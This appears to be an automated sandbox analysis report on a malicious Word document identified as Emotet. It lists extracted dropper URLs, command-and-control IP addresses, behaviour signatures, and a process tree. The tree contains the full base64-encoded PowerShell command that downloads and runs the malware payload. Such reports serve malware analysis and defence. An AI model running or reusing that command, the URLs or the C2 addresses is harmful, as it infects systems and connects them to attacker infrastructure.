Analysis

  • max time kernel
    140s
  • max time network
    151s
  • platform
    windows10_x64
  • resource
    win10v200722
  • submitted
    15/09/2020, 05:31

General

  • Target
    W_RS5947693334AJ.doc
  • Size 152KB
  • Sample200915-espylddtt6
  • SHA256 444edfc514c9e7ddf7d47152ab219ed246f5fa2feacad2d9f98932df0901b406
  • MD5 SHA1 SHA512
Score
10/10

Malware Config

Extracted

Language
  • ps1

Source
URLs
  • exe.dropper

    http://www.gozowindmill.com/meteo/97/

  • exe.dropper

    http://www.greaudstudio.com/docs/Z/

  • exe.dropper

    https://b176f.cn/wp-admin/1/

  • exe.dropper

    https://blog.socialpill.in/jdzetd/fZuInax/

  • exe.dropper

    http://maisshake.com.br/wp-includes/dPmzV1/

  • exe.dropper

    http://mesdelicesitaliens.fr/wp-admin/tSlCBpP/

  • exe.dropper

    http://grndl.com/oinj/j4/

Extracted

Family
  • emotet

C2
  • 104.32.141.43:80

  • 104.156.59.7:8080

  • 120.138.30.150:8080

  • 139.59.67.118:443

  • 61.92.17.12:80

  • 103.86.49.11:8080

  • 174.45.13.118:80

  • 75.139.38.211:80

  • 104.131.11.150:443

  • 121.124.124.40:7080

  • 200.114.213.233:8080

  • 185.94.252.104:443

  • 181.169.34.190:80

  • 187.161.206.24:80

  • 93.147.212.206:80

  • 176.111.60.55:8080

  • 83.169.36.251:8080

  • 174.102.48.180:443

  • 24.179.13.119:80

  • 120.150.60.189:80

rsa_pubkey.plain

Signatures

  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blacklisted process makes network request 5 IoCs
  • Executes dropped EXE 2 IoCs
  • Drops file in System32 directory 1 IoCs
  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 9 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 13 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\W_RS5947693334AJ.doc" /o ""
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    PID:3956
  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -e JABSADMAbABmAF8AZgAyAD0AKAAoACcASgA5ADEAeAB5ACcAKwAnAGwAJwApACsAJwA0ACcAKQA7ACYAKAAnAG4AZQAnACsAJwB3ACcAKwAnAC0AaQB0AGUAbQAnACkAIAAkAEUAbgBWADoAdQBzAEUAcgBwAHIATwBGAEkAbABlAFwARgAwAEIAdwBlADUANABcAGQARwB3AGwAcgBZADQAXAAgAC0AaQB0AGUAbQB0AHkAcABlACAAZABpAHIAZQBDAHQAbwBSAFkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAFMARQBjAFUAcgBpAGAAVAB5AHAAcgBgAE8AYABUAE8AYABjAG8AbAAiACAAPQAgACgAKAAnAHQAJwArACcAbABzADEAJwApACsAKAAnADIALAAgAHQAbAAnACsAJwBzACcAKwAnADEAMQAnACkAKwAnACwAJwArACgAJwAgAHQAJwArACcAbAAnACkAKwAnAHMAJwApADsAJABBADYANgBqADYAdgB1ACAAPQAgACgAJwBVAGoAJwArACcAawBmACcAKwAoACcAbQBrACcAKwAnAGcAYwAnACkAKQA7ACQAVABxAGQAeQA5ADkAbQA9ACgAKAAnAFoAdwAnACsAJwBjAGsAcAAnACkAKwAnADUAJwArACcAYgAnACkAOwAkAFcAbgBpAHUAawBrAGoAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAKAAoACgAJwA0ACcAKwAnAHgAUAAnACkAKwAoACcARgAwACcAKwAnAGIAdwAnACkAKwAoACcAZQAnACsAJwA1ADQAJwArACcANAB4AFAARABnAHcAJwApACsAKAAnAGwAcgB5ADQAJwArACcANAAnACkAKwAnAHgAUAAnACkALgAiAHIARQBwAEwAQQBgAEMARQAiACgAKABbAGMAaABhAFIAXQA1ADIAKwBbAGMAaABhAFIAXQAxADIAMAArAFsAYwBoAGEAUgBdADgAMAApACwAJwBcACcAKQApACsAJABBADYANgBqADYAdgB1ACsAKAAnAC4AJwArACgAJwBlAHgAJwArACcAZQAnACkAKQA7ACQAQwBqAGgAZQBnADQANQA9ACgAJwBaAHQAJwArACcAaAAnACsAKAAnAG4AeQAnACsAJwB0AG8AJwApACkAOwAkAEcAdQBjAGgAcwBoADEAPQAuACgAJwBuAGUAdwAtAG8AYgBqACcAKwAnAGUAJwArACcAYwB0ACcAKQAgAE4ARQB0AC4AdwBFAGIAQwBMAGkARQBuAHQAOwAkAEYAdwBsADEAcwBzAHYAPQAoACcAaAAnACsAKAAnAHQAdABwADoALwAvAHcAJwArACcAdwB3AC4AJwArACcAZwBvAHoAbwAnACsAJwB3ACcAKQArACgAJwBpACcAKwAnAG4AZABtACcAKwAnAGkAbAAnACkAKwAoACcAbAAnACsAJwAuAGMAbwAnACkAKwAoACcAbQAnACsAJwAvAG0AZQB0AGUAbwAvACcAKwAnADkANwAnACkAKwAoACcALwAnACsAJwAqAGgAdAAnACsAJwB0AHAAOgAvACcAKwAnAC8AdwB3AHcAJwApACsAJwAuAGcAJwArACgAJwByAGUAJwArACcAYQAnACkAKwAnAHUAJwArACgAJwBkAHMAdAB1AGQAJwArACcAaQBvAC4AJwApACsAKAAnAGMAJwArACcAbwBtAC8AZAAnACkAKwAoACcAbwAnACsAJwBjAHMALwBaACcAKwAnAC8AKgBoAHQAdABwAHMAJwApACsAJwA6ACcAKwAoACcALwAvAGIAJwArACcAMQA3ACcAKwAnADYAZgAuACcAKwAnAGMAJwApACsAJwBuACcAKwAoACcALwB3AHAAJwArACcALQAnACkAKwAoACcAYQAnACsAJwBkAG0AaQBuACcAKQArACgAJwAvADEALwAqAGgAJwArACcAdAB0AHAAJwArACcAcwA6AC8AJwApACsAJwAvAGIAJwArACgAJwBsAG8AJwArACcAZwAnACkAKwAoACcALgAnACsAJwBzAG8AJwApACsAJwBjAGkAJwArACgAJwBhAGwAJwArACcAcABpACcAKQArACgAJwBsAGwALgBpAG4ALwBqAGQAJwArACcAegAnACsAJwBlAHQAJwArACcAZAAvACcAKQArACcAZgBaACcAKwAnAHUAJwArACgAJwBJAG4AYQB4ACcAKwAnAC8AJwApACsAJwAqAGgAJwArACcAdAAnACsAKAAnAHQAcAAnACsAJwA6ACcAKQArACcALwAvACcAKwAoACcAbQBhACcAKwAnAGkAcwAnACkAKwAnAHMAJwArACcAaAAnACsAKAAnAGEAJwArACcAawBlACcAKQArACcALgAnACsAJwBjAG8AJwArACgAJwBtAC4AJwArACcAYgAnACsAJwByAC8AJwArACcAdwBwAC0AaQBuAGMAbAB1AGQAJwApACsAJwBlACcAKwAoACcAcwAvAGQAUAAnACsAJwBtACcAKQArACcAegBWACcAKwAnADEALwAnACsAJwAqACcAKwAnAGgAdAAnACsAJwB0AHAAJwArACgAJwA6AC8ALwBtACcAKwAnAGUAJwArACcAcwBkACcAKQArACcAZQBsACcAKwAoACcAaQAnACsAJwBjAGUAJwApACsAKAAnAHMAaQB0AGEAJwArACcAbAAnACkAKwAoACcAaQBlAG4AJwArACcAcwAnACkAKwAoACcALgBmAHIAJwArACcALwB3ACcAKQArACcAcAAnACsAKAAnAC0AYQAnACsAJwBkACcAKQArACgAJwBtACcAKwAnAGkAbgAnACkAKwAnAC8AdAAnACsAKAAnAFMAbAAnACsAJwBDAEIAcABQAC8AJwApACsAKAAnACoAJwArACcAaAB0AHQAcAA6AC8ALwAnACkAKwAoACcAZwByACcAKwAnAG4AZABsAC4AYwBvACcAKwAnAG0ALwBvACcAKQArACgAJwBpACcAKwAnAG4AagAvAGoAJwArACcANAAvACcAKQApAC4AIgBTAGAAcABMAGkAVAAiACgAWwBjAGgAYQByAF0ANAAyACkAOwAkAEcAdgBpADEAeABrAHAAPQAoACcASgAnACsAJwB2AHoAJwArACgAJwAxADEAbgAnACsAJwBuACcAKQApADsAZgBvAHIAZQBhAGMAaAAoACQARgBtAGQAcwBlAG8ANwAgAGkAbgAgACQARgB3AGwAMQBzAHMAdgApAHsAdAByAHkAewAkAEcAdQBjAGgAcwBoADEALgAiAEQATwB3AG4AbABgAE8AYQBEAEYAYABJAGwAZQAiACgAJABGAG0AZABzAGUAbwA3ACwAIAAkAFcAbgBpAHUAawBrAGoAKQA7ACQARwA5AGkAYgAwADkAbwA9ACgAKAAnAFEAJwArACcAMQB6ACcAKQArACgAJwBwACcAKwAnADEAXwBwACcAKQApADsASQBmACAAKAAoAC4AKAAnAEcAZQAnACsAJwB0ACcAKwAnAC0ASQB0AGUAbQAnACkAIAAkAFcAbgBpAHUAawBrAGoAKQAuACIATABlAGAATgBHAGAAVABoACIAIAAtAGcAZQAgADIAOAA5ADEANQApACAAewAmACgAJwBJAG4AdgBvACcAKwAnAGsAJwArACcAZQAtAEkAdABlAG0AJwApACgAJABXAG4AaQB1AGsAawBqACkAOwAkAEwAYQA2AHcAbAB2ADYAPQAoACgAJwBGADMAJwArACcAdwBkAGQAJwApACsAJwB5AHcAJwApADsAYgByAGUAYQBrADsAJABUAGUAMQBrAG0AeABtAD0AKAAoACcARwBkADkAdgAnACsAJwBhACcAKQArACcAawAnACsAJwBvACcAKQB9AH0AYwBhAHQAYwBoAHsAfQB9ACQARwBzAGsAbQBzADUAOQA9ACgAKAAnAEsAaAAzACcAKwAnAGcAJwApACsAJwA0ADgAJwArACcAdAAnACkA
    1⤵
    • Process spawned unexpected child process
    • Blacklisted process makes network request
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:3520
    • C:\Users\Admin\F0bwe54\Dgwlry4\Ujkfmkgc.exe
      "C:\Users\Admin\F0bwe54\Dgwlry4\Ujkfmkgc.exe"
      2⤵
      • Executes dropped EXE
      • Drops file in System32 directory
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:1472
      • C:\Windows\SysWOW64\dlnashext\winmm.exe
        "C:\Windows\SysWOW64\dlnashext\winmm.exe"
        3⤵
        • Executes dropped EXE
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of SetWindowsHookEx
        PID:2096

Network

        MITRE ATT&CK Enterprise v6

        Replay Monitor

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        Downloads

        memory/1472-12-0x0000000000720000-0x0000000000730000-memory.dmp

        memory/1472-11-0x0000000000740000-0x0000000000752000-memory.dmp

        memory/2096-16-0x0000000002110000-0x0000000002120000-memory.dmp

        memory/2096-15-0x00000000004F0000-0x0000000000502000-memory.dmp

        memory/3520-7-0x00000217E78D0000-0x00000217E78D1000-memory.dmp

        memory/3520-6-0x00000217E7560000-0x00000217E7561000-memory.dmp

        memory/3520-5-0x00007FF8FA560000-0x00007FF8FAF4C000-memory.dmp

        memory/3956-2-0x000002285BA2F000-0x000002285BA76000-memory.dmp

        memory/3956-3-0x000002285BA76000-0x000002285BAE1000-memory.dmp

        memory/3956-0-0x00007FF901DC0000-0x00007FF902486000-memory.dmp

        memory/3956-4-0x000002285BA76000-0x000002285BAE1000-memory.dmp

        memory/3956-1-0x000002285BA2F000-0x000002285BA76000-memory.dmp